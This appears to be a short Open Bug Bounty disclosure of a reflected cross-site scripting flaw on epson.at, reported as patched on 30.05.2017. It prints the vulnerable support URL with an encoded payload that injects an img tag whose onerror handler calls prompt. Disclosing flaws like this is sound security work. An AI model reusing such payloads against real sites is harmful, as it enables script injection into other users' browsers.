epson.at XSS vulnerability

Vulnerable URL: https://www.epson.at/support?productID=1863=serviceinwarranty=%253E%27%253E%2522%253Ei%253Ci%253Ei%253Cimg+src%253Dx+onerror%253Dprompt%252FOPENBUGBOUNTY%252F%253Efindrepaircenter Details: Description| Value ---|--- Patched:| Yes, at 30.05.2017 Latest check for patch:| 30.05.2017...